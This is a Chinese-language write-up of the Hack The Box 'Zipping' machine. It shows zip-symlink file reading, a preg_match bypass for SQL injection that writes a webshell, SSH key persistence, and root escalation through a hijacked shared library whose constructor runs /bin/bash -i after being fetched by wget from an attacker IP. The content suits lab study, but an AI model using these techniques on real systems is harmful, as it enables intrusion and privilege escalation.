Zipping
Zipping
- 信息收集
- 端口扫描
- 目录扫描
- webbanner信息收集
- 漏洞利用
- 空字节绕过---->失败
- sqlI-preg_match bypass
- 反弹shell
- 稳定维持
- 提权-共享库漏洞
参考:https://rouvin.gitbook.io/ibreakstuff/writeups/htb-season-2/zipping#sudo-privileges-greater-than-stock-binary
https://blog.csdn.net/qq_58869808/article/details/132790330
信息收集
端口扫描
目录扫描
这里记录一个爆破工具:gobuster
和一个字典:SecLists
webbanner信息收集
访问网站,发现存在以下输入框
这是个邮件发送界面,可能存在sql注入。
这个页面存在一个page参数,猜想可能存在LFI。
这是个文件上传界面,猜想可能存在文件上传。
漏洞利用
文件上传处只允许上传只包含pdf的zip压缩包
我们可以创建符号链接来使用LFI:
我创建了一个名为test.pdf的符号链接,指向/etc/passwd,因为上传需要是一个包含pdf的zip文件。然后我创建了一个带有符号链接的zp文件:
ln -s ../../../../../../../../../../../etc/passwd test.pdf
zip -r --symlinks test.zip test.pdf
--symlinks 使pdf保持符号链接属性
上传成功并解压返回路径,访问uploads/bcf23e8aeb5be689d72908024cb8c1a8/test.pdf发现成功返回敏感文件。但是这个好像不能使用burp的重放发送包,必须通过浏览器请求,然后burp拦截响应包,不然它好像会删除。
能查看文件,我们首先查看 /var/www/html/upload.php。
/var/www/html/upload.php
<html>
<html lang="en">
<head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><meta name="description" content="Start your development with Creative Design landing page."><meta name="author" content="Devcrud"><title>Zipping | Watch store</title><!-- font icons --><link rel="stylesheet" href="assets/vendors/themify-icons/css/themify-icons.css"><!-- Bootstrap + Creative Design main styles --><link rel="stylesheet" href="assets/css/creative-design.css"></head>
<body data-spy="scroll" data-target=".navbar" data-offset="40" id="home"><!-- Page Header --><header class="header header-mini"> <div class="header-title">Work with Us</div> <nav aria-label="breadcrumb"><ol class="breadcrumb"><li class="breadcrumb-item"><a href="index.php">Home</a></li><li class="breadcrumb-item active" aria-current="page">Work with Us</li></ol></nav></header> <!-- End Of Page Header --><section id="work" class="text-center"><!-- container --><div class="container"><h1>WORK WITH US</h1><p class="mb-5">If you are interested in working with us, do not hesitate to send us your curriculum.<br> The application will only accept zip files, inside them there must be a pdf file containing your curriculum.</p><?phpif(isset($_POST['submit'])) {// Get the uploaded zip file$zipFile = $_FILES['zipFile']['tmp_name'];if ($_FILES["zipFile"]["size"] > 300000) {echo "<p>File size must be less than 300,000 bytes.</p>";} else {// Create an md5 hash of the zip file$fileHash = md5_file($zipFile);// Create a new directory for the extracted files$uploadDir = "uploads/$fileHash/";$tmpDir = sys_get_temp_dir();// Extract the files from the zip$zip = new ZipArchive;if ($zip->open($zipFile) === true) {if ($zip->count() > 1) {echo '<p>Please include a single PDF file in the archive.<p>';} else {// Get the name of the compressed file$fileName = $zip->getNameIndex(0);if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {$uploadPath = $tmpDir.'/'.$uploadDir;echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null');if (file_exists($uploadPath.$fileName)) {mkdir($uploadDir);rename($uploadPath.$fileName, $uploadDir.$fileName);}echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';} else {echo "<p>The unzipped file must have a .pdf extension.</p>";}}} else {echo "Error uploading file.";}}}?><!-- Submit File --><form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php"><div class="mb-3"><input type="file" class="form-control" name="zipFile" accept=".zip"></div><button type="submit" class="btn btn-primary" name="submit">Upload</button></form><!-- End submit file --></div><!-- End of Container--> </section><!-- End of Contact Section --><!-- Section --><section class="pb-0"><!-- Container --><div class="container"><!-- Pre footer --><div class="pre-footer"><ul class="list"><li class="list-head"><h6 class="font-weight-bold">ABOUT US</h6></li><li class="list-body"><p>Zipping Co. is a company that is dedicated to producing high-quality watches that are both stylish and functional. We are constantly pushing the boundaries of what is possible with watch design and are known for their commitment to innovation and customer service.</p> <a href="#"><strong class="text-primary">Zipping</strong> <span class="text-dark">Watch Store</span></a></li></ul><ul class="list"><li class="list-head"><h6 class="font-weight-bold">USEFUL LINKS</h6></li><li class="list-body"><div class="row"><div class="col"><a href="#">Link 1</a><a href="#">Link 2</a><a href="#">Link 3</a><a href="#">Link 4</a></div><div class="col"><a href="#">Link 5</a><a href="#">Link 6</a><a href="#">Link 7</a><a href="#">Link 8</a></div></div></li></ul><ul class="list"><li class="list-head"><h6 class="font-weight-bold">CONTACT INFO</h6></li><li class="list-body"><p>Contact us and we'll get back to you within 24 hours.</p><p><i class="ti-location-pin"></i> 12345 Fake ST NoWhere AB Country</p><p><i class="ti-email"></i> info@website.com</p><div class="social-links"><a href="javascript:void(0)" class="link"><i class="ti-facebook"></i></a><a href="javascript:void(0)" class="link"><i class="ti-twitter-alt"></i></a><a href="javascript:void(0)" class="link"><i class="ti-google"></i></a><a href="javascript:void(0)" class="link"><i class="ti-pinterest-alt"></i></a><a href="javascript:void(0)" class="link"><i class="ti-instagram"></i></a><a href="javascript:void(0)" class="link"><i class="ti-rss"></i></a></div></li></ul> </div><!-- End of Pre footer --> <!-- foooter --><footer class="footer"><p>Made by <a href="https://github.com/xdann1">xDaNN1</p></footer><!-- End of Footer--> </div><!--End of Container --> </section><!-- End of Section -->
</body>
</html>
接下来分别查看shop的源码,
/var/www/html/shop/index.php
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
functions.php
<?php
function pdo_connect_mysql() {// Update the details below with your MySQL details$DATABASE_HOST = 'localhost';$DATABASE_USER = 'root';$DATABASE_PASS = 'MySQL_P@ssw0rd!';$DATABASE_NAME = 'zipping';
<TRUNCATED>
home.php
<?php
// Get the 4 most recently added products
$stmt = $pdo->prepare('SELECT * FROM products ORDER BY date_added DESC LIMIT 4');
$stmt->execute();
$recently_added_products = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<?=template_header('Zipping | Home')?>
<div class="featured"><h2>Watches</h2><p>The perfect watch for every occasion</p>
</div>
<div class="recentlyadded content-wrapper"><h2>Recently Added Products</h2><div class="products"><?php foreach ($recently_added_products as $product): ?><a href="index.php?page=product&id=<?=$product['id']?>" class="product"><img src="assets/imgs/<?=$product['img']?>" width="200" height="200" alt="<?=$product['name']?>"><span class="name"><?=$product['name']?></span><span class="price">$<?=$product['price']?><?php if ($product['rrp'] > 0): ?><span class="rrp">$<?=$product['rrp']?></span><?php endif; ?></span></a><?php endforeach; ?></div>
</div>
在functions.php我们发现账号密码尝试使用ssh连接失败。
在home.php没有对用户控制的 id 参数进行任何输入验证。当我们在商店中尝试通过 ’ 字符进行 SQL 注入 并在 Burp 中渲染它时,我们会看到:
这说明sql注入是存在的,目录爆破id参数处理的位置。
然后,我们可以使用PDF LFI阅读product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {$id = $_GET['id'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {header('Location: index.php');} else {// Prepare statement and execute, but does not prevent SQL injection$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");$stmt->execute();// Fetch the product from the database and return the result as an Array$product = $stmt->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)if (!$product) {// Simple error to display if the id for the product doesn't exists (array is empty)exit('Product does not exist!');}}
} else {// Simple error to display if the id wasn't specifiedexit('No ID provided!');
}
?>
那里的正则表达式看起来很难绕过,再加上盒子名称是Zipping的事实,很明显这不是预期的方法。
空字节绕过---->失败
回到文件上传,发现upload.php唯一存在的检查是pathinfo函数,它可以被绕过。
$zip = new ZipArchive;if ($zip->open($zipFile) === true) {if ($zip->count() > 1) {echo '<p>Please include a single PDF file in the archive.<p>';} else {// Get the name of the compressed file$fileName = $zip->getNameIndex(0);if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {mkdir($uploadDir);echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';} else {echo "<p>The unzipped file must have a .pdf extension.</p>";}
我们制作一个webshell,将其文件扩展名设置为.phpD.pdf。压缩webshell文件。
之后,我们在数据包即将发送时拦截数据包并将传输转换为十六进制格式,通过将其转换为空字节来有效地规避它。
当我们点击“输入”时,我们会发现我们输入的页面不存在,这是因为不正确的链接。但是,通过删除“%20.pdf”,按理说这里是可以访问成功的,但屡次尝试后失败,发现官网修复了。
那我们就继续读源码,审计源码
这里使用Som3B0dy师傅的脚本
/var/www/html/cart.php
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {// Set the post variables so we easily identify them, also make sure they are integer$product_id = $_POST['product_id'];$quantity = $_POST['quantity'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {echo '';} else {// Construct the SQL statement with a vulnerable parameter$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";// Execute the SQL statement without any sanitization or parameter binding$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)if ($product && $quantity > 0) {// Product exists in database, now we can create/update the session variable for the cartif (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {if (array_key_exists($product_id, $_SESSION['cart'])) {// Product exists in cart so just update the quanity$_SESSION['cart'][$product_id] += $quantity;} else {// Product is not in cart so add it$_SESSION['cart'][$product_id] = $quantity;}} else {// There are no products in cart, this will add the first product to cart$_SESSION['cart'] = array($product_id => $quantity);}}// Prevent form resubmission...header('location: index.php?page=cart');exit;}
}// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {// Remove the product from the shopping cartunset($_SESSION['cart'][$_GET['remove']]);
}// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {// Loop through the post data so we can update the quantities for every product in cartforeach ($_POST as $k => $v) {if (strpos($k, 'quantity') !== false && is_numeric($v)) {$id = str_replace('quantity-', '', $k);$quantity = (int)$v;// Always do checks and validationif (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {// Update new quantity$_SESSION['cart'][$id] = $quantity;}}}// Prevent form resubmission...header('location: index.php?page=cart');exit;
}// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {header('Location: index.php?page=placeorder');exit;
}if (isset($_POST['clear'])) {unset($_SESSION['cart']);
}// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {// There are products in the cart so we need to select those products from the database// Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)$array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));$stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');// We only need the array keys, not the values, the keys are the id's of the products$stmt->execute(array_keys($products_in_cart));// Fetch the products from the database and return the result as an Array$products = $stmt->fetchAll(PDO::FETCH_ASSOC);// Calculate the subtotalforeach ($products as $product) {$subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];}
}
?><?=template_header('Zipping | Cart')?><div class="cart content-wrapper"><h1>Shopping Cart</h1><form action="index.php?page=cart" method="post"><table><thead><tr><td colspan="2">Product</td><td>Price</td><td>Quantity</td><td>Total</td></tr></thead><tbody><?php if (empty($products)): ?><tr><td colspan="5" style="text-align:center;">You have no products added in your Shopping Cart</td></tr><?php else: ?><?php foreach ($products as $product): ?><tr><td class="img"><a href="index.php?page=product&id=<?=$product['id']?>"><img src="assets/imgs/<?=$product['img']?>" width="50" height="50" alt="<?=$product['name']?>"></a></td><td><a href="index.php?page=product&id=<?=$product['id']?>"><?=$product['name']?></a><br><a href="index.php?page=cart&remove=<?=$product['id']?>" class="remove">Remove</a></td><td class="price">$<?=$product['price']?></td><td class="quantity"><input type="number" name="quantity-<?=$product['id']?>" value="<?=$products_in_cart[$product['id']]?>" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required></td><td class="price">$<?=$product['price'] * $products_in_cart[$product['id']]?></td></tr><?php endforeach; ?><?php endif; ?></tbody></table><div class="subtotal"><span class="text">Subtotal</span><span class="price">$<?=$subtotal?></span></div><div class="buttons"><input type="submit" value="Update" name="update"><input type="submit" value="Place Order" name="placeorder"><input type="submit" value="Clear" name="clear" onsubmit=""></div></form>
</div>
<?=template_footer()?>
sqlI-preg_match bypass
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {// Set the post variables so we easily identify them, also make sure they are integer$product_id = $_POST['product_id'];$quantity = $_POST['quantity'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {echo '';} else {// Construct the SQL statement with a vulnerable parameter$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";// Execute the SQL statement without any sanitization or parameter binding$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)
我们要绕过这个preg_match,只需要在payload 前面输入%0a
,就能绕过检测了,
但是注意这个 preg_match,会检查最后一个字符是以数字结尾的所以我们的payload,需要以数字结尾
并且我们写文件的路径需要是mysql可以写的目录
即 secure_file_priv
这个变量的值,在linux下,默认路径基本上都是 /var/lib/mysql
反弹shell
蚁剑连接
稳定维持
可能是不只我一个人在打,所以访问极不稳定,为了确保稳定和安全的连接,我们将授权密钥加载到 SSH 中。
本地执行命令,生成rsa密钥对
ssh-keygen -t rsa
一路回车后就会在~/.ssh/
目录下生成私钥文件:id_rsa
与公钥文件:id_rsa.pub
,复制id_rsa.pub的内容
,这里的内容需要加入到远程电脑中
创建authorized_keys
或将/usr/share/man/man5/authorized_keys.5.gz
里的提取出来改名成authorized_keys,将id_rsa.pub的内容粘贴到authorized_keys中去
将authorized_keys上传至目标机器的~/.ssh
中
这样kali就可无密连接ssh
在/home/rektsu目录下找到user.txt,提交第一个flag.
提权-共享库漏洞
检查sudo权限sudo -l
,注意到我们对“/stock”具有root访问权限
我试着运行,发现其总是说没有输入正密码,但我没输入,他就弹出了
使用strings
或ltrace
分析程序,从程序中提取可读文本。发现密码:St0ckM4nager
运行stock,输入密码,其功能就是查看一些信息,编辑一些信息。
使用strace
可以看到这个程序,跑起来的时候的系统调用
可以看到,整个程序运行的时候,引入了 /home/rektsu/.config/libcounter.so这个文件
maybe,我们可以做一些劫持
https://tbhaxor.com/exploiting-shared-library-misconfigurations/
priv-esclation.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void method()__attribute__((constructor));
void method() {system("/bin/bash -i");
}
由于我们已经使用sudo运行它,
因此无需使用setuid或setgid之后,使用它编译它并将其下载到/home/rektsu/.config
文件夹中:
#上传至目标机器上去执行
wget 10.10.16.5/priv-esclation.c
gcc -shared -fpic -o /home/rektsu/.config/libcounter.so priv-esclation.c
然后,我们可以运行stock来获得一个根shell:
相关文章:

Zipping
Zipping 信息收集端口扫描目录扫描webbanner信息收集 漏洞利用空字节绕过---->失败sqlI-preg_match bypass反弹shell 稳定维持 提权-共享库漏洞 参考:https://rouvin.gitbook.io/ibreakstuff/writeups/htb-season-2/zipping#sudo-privileges-greater-than-stock-…...

pytorch学习---实现线性回归初体验
假设我们的基础模型就是y wx b,其中w和b均为参数,我们使用y 3x0.8来构造数据x、y,所以最后通过模型应该能够得出w和b应该分别接近3和0.8。 步骤如下: 准备数据计算预测值计算损失,把参数的梯度置为0,进行反向传播…...

别再乱写git commit了
B站|公众号:啥都会一点的研究生 写在前面 在很长的一段时间中,使用git commit都是随心所欲,log肥肠简洁,随着代码的迭代,当时有多偷懒,返过头查看git日志就有多懊悔,就和写代码不写doc string…...

八大排序(一)冒泡排序,选择排序,插入排序,希尔排序
一、冒泡排序 冒泡排序的原理是:从左到右,相邻元素进行比较。每次比较一轮,就会找到序列中最大的一个或最小的一个。这个数就会从序列的最右边冒出来。 以从小到大排序为例,第一轮比较后,所有数中最大的那个数就会浮…...
泊松分布简要介绍
泊松分布是一种常见的离散概率分布,它用于描述某个时间段或区域内随机事件发生的次数。它得名于法国数学家西蒙丹尼泊松。 泊松分布的概率质量函数表示某个时间段或区域内事件发生次数的概率。如果随机变量 X 服从泊松分布,记作 X ~ Poisson(λ)&#x…...

C语言每日一题(10):无人生还
文章主题:无人生还🔥所属专栏:C语言每日一题📗作者简介:每天不定时更新C语言的小白一枚,记录分享自己每天的所思所想😄🎶个人主页:[₽]的个人主页🏄…...
VSCode开发go手记
断点调试: 安装delve(windows): go get -u github.com/go-delve/delve/cmd/dlv 设置 launch.json 配置文件: ctrlshiftp 输入 Debug: Open launch.json 打开 launch.json 文件,如果第一次打开,会新建一…...

怎么选择AI伪原创工具-AI伪原创工具有哪些
在数字时代,创作和发布内容已经成为了一种不可或缺的活动。不论您是个人博主、企业家还是网站管理员,都会面临一个共同的挑战:如何在互联网上脱颖而出,吸引更多的读者和访客。而正是在这个背景下,AI伪原创工具逐渐崭露…...

【块状链表C++】文本编辑器(指针中 引用 的使用)
》》》算法竞赛 /*** file * author jUicE_g2R(qq:3406291309)————彬(bin-必应)* 一个某双流一大学通信与信息专业大二在读 * * brief 一直在竞赛算法学习的路上* * copyright 2023.9* COPYRIGHT 原创技术笔记:转载…...

echarts的Y轴设置为整数
场景:使用echarts,设置Y轴为整数。通过判断Y轴的数值为整数才显示即可 yAxis: [{name: ,type: value,min: 0, // 最小值// max: 200, // 最大值// splitNumber: 5, // 坐标轴的分割段数// interval: 100 / 5, // 强制设置坐标轴分割间隔度(取本Y轴的最大…...

恢复删除文件?不得不掌握的4个方法!
“删除了的文件还可以恢复吗?有个文件我本来以为不重要了,就把它删除了,没想到现在还需要用到!这可怎么办?有没有办法找回来呢?” 重要的文件一旦丢失或误删可能都会对我们的工作和学习造成比较大的影响。怎…...
GitLab CI/CD:.gitlab-ci.yml 文件常用参数小结
文章目录 一、.gitlab-ci.yml 文件作用二、一个简单的.gitlab-ci.yml 文件示例参考 一、.gitlab-ci.yml 文件作用 可以定义跑CI时想要运行的命令或脚本 可以定义job之间的依赖和缓存 可以执行程序部署并定义部署位置 可以定义想要包含的其他配置文件和模版 二、一个简单的.gi…...

MySQL学习笔记9
MySQL数据表中的数据类型: 在考虑数据类型、长度、标度和精度时,一定要仔细地进行短期和长远的规划,另外,公司制度和希望用户用什么方式访问数据也是要考虑的因素。开发人员应该了解数据的本质,以及数据在数据库里是如…...

从零学习开发一个RISC-V操作系统(三)丨嵌入式操作系统开发的常用概念和工具
本篇文章的内容 一、嵌入式操作习系统开发的常用概念和工具1.1 本地编译和交叉编译1.2 调试器GDB(The GNU Project Debugger)1.3 QEMU模拟器1.4 项目构造工具Make 本系列是博主参考B站课程学习开发一个RISC-V的操作系统的学习笔记,计划从RISC…...

小米机型解锁bl 跳“168小时”限制 操作步骤分析
写到前面的安全提示 了解解锁bl后的风险: 解锁设备后将允许修改系统重要组件,并有可能在一定程度上导致设备受损;解锁后设备安全性将失去保证,易受恶意软件攻击,从而导致个人隐私数据泄露;解锁后部分对系…...
基础练习 回文数
问题描述 1221是一个非常特殊的数,它从左边读和从右边读是一样的,编程求所有这样的四位十进制数。 输出格式 按从小到大的顺序输出满足条件的四位十进制数。 solution1 #include <stdio.h> int main(){int n 1000, n1, n2, n3, n4;while(n &…...

解决Spring Boot 2.7.16 在服务器显示启动成功无法访问问题:从本地到服务器的部署坑
🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…...
洛谷P5661:公交换乘 ← CSP-J 2019 复赛第2题
【题目来源】https://www.luogu.com.cn/problem/P5661https://www.acwing.com/problem/content/1164/【题目描述】 著名旅游城市 B 市为了鼓励大家采用公共交通方式出行,推出了一种地铁换乘公交车的优惠方案: 1.在搭乘一次地铁后可以获得一张优惠票&…...

mysql优化之索引
索引官方定义:索引是帮助mysql高效获取数据的数据结构。 索引的目的在于提高查询效率,可以类比字典。 可以简单理解为:排好序的快速查找数据结构 在数据之外,数据库系统还维护着满足特定查找算法的数据结构,这种数据…...

文件系统详解
目录 文件系统(1) 第一节文件系统的基本概念 一、文件系统的任务 二、文件的存储介质及存储方式 三、文件的分类 第二节 文件的逻辑结构和物理结构 一、文件的逻辑结构 二、文件的物理结构 文件系统(2) 第三节 文件目…...

智能推荐系统:协同过滤与深度学习结合
智能推荐系统:协同过滤与深度学习结合 系统化学习人工智能网站(收藏):https://www.captainbed.cn/flu 文章目录 智能推荐系统:协同过滤与深度学习结合摘要引言技术原理对比1. 协同过滤算法:基于相似性的推…...
CSS预处理器:Sass与Less的语法和特性(含实际案例)
Sass(SCSS语法示例) 1. 变量:统一管理颜色 // 定义变量 $primary-color: #1a237e; $success-color: #4caf50; $font-size-base: 16px;// 实际应用 body {color: $primary-color;font-size: $font-size-base; }.button {background: $succes…...
vue对axios的封装和使用
在 Vue 项目中,使用 axios 进行 HTTP 请求是非常常见的做法。为了提高代码的可维护性、统一错误处理和请求拦截/响应拦截逻辑,对axios进行封装使用。 一、基础封装(适用于 Vue 2 / Vue 3) 1. 安装 axios npm install axios2. 创…...

K8S认证|CKS题库+答案| 3. 默认网络策略
目录 3. 默认网络策略 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、官网找模板 3)、按照题目要求创建networkpolicy 4)、应用networkpolicy 5)、检查策略 3. 默认网络策略…...

LLM Agent 如何颠覆股价预测的传统范式
写在前面 股价预测,金融领域的“圣杯”之一,吸引了无数研究者和投资者。传统方法从技术指标到复杂的计量经济模型,再到机器学习,不断演进,但市场的高度复杂性、非线性和充斥噪声的特性,使得精准预测依然是巨大的挑战。大型语言模型(LLM)的崛起,特别是LLM Agent这一新…...

Java高级 | 【实验五】Spring boot+mybatis操作数据库
隶书文章:Java高级 | (二十二)Java常用类库-CSDN博客 系列文章:Java高级 | 【实验一】Springboot安装及测试 |最新-CSDN博客 Java高级 | 【实验二】Springboot 控制器类相关注解知识-CSDN博客 Java高级 | 【实验三】Springboot 静…...
Spring Boot 类加载机制深度解析
Spring Boot 类加载机制深度解析 前言 在 Java 应用开发中,类加载机制是一个重要且复杂的话题。Spring Boot 作为现代 Java 开发的主流框架,其类加载机制更是值得深入了解。本文将从基础概念到实际应用,全面解析 Spring Boot 的类加载机制。…...

基于3D对象体积与直径特征的筛选
1,目的 筛选出目标3D对象。 效果如下: 2,原理 使用3D对象的体积与直径特征进行筛选。 3,代码解析 3.1,预处理2.5D深度图。 * 参考案例库:select_object_model_3d.hdev * ****************************…...

MySQL的并发事务问题及事务隔离级别
一、并发事务问题 1). 赃读:一个事务读到另外一个事务还没有提交的数据。 比如 B 读取到了 A 未提交的数据。 2). 不可重复读:一个事务先后读取同一条记录,但两次读取的数据不同,称之为不可重复读。 事务 A 两次读取同一条记录&…...
Kafka存储机制核心优势剖析
文章目录 Kafka存储机制核心优势剖析1. **写入路径:Page Cache vs. 应用层缓存**2. **Page Cache工作原理解析**3. **顺序写盘 vs. 随机写盘**4. **资源利用最优化****为什么Page Cache方案更优?**1. **双缓存问题彻底解决**2. **读写路径统一优化**3. **故障恢复优势****生产…...